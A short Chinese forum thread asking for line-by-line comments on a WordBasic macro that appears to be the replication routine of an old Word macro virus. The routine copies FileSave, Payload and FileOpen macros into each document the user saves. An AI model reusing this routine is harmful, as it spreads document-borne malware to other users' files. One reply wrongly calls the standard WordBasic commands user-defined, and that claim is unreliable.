病毒分析

[艰难的求学者]

Sub MAIN
Dim dlg AS FileSaveAS
GetCurValues dlg
Dialog dlg
If(Dlg.Format=0) or (dlg.Format=1) Then
MacroCopy "FileSave",WindowName$() + ":FileSaveAs"
MacroCopy "FileSave",WindowName$() + ":FileSave"
MacroCopy "Payload",WindowName$() + ":Payload"
MacroCopy "FileOpen",WindowName$() + ":FileOpen"
Dlg.Format=1
End If
FileSaveAs dlg
End Sub

请帮忙解释一下上面的代码，给每一行代码增加一行注释，先谢过了

[bcrun]

FileSaveAS是什么

[艰难的求学者]

是FileDaveAS，帮忙解释一下每行代码

[threenewbee]

你完全不懂程序。 这代码解释没有任何意义，因为它调用了GetCurValues Dialog等子程序都是自己定义而不是系统定义的。 一个自定义函数可能什么也不做，也可能触发一个核导弹的按钮，天知道。

[gzbandit]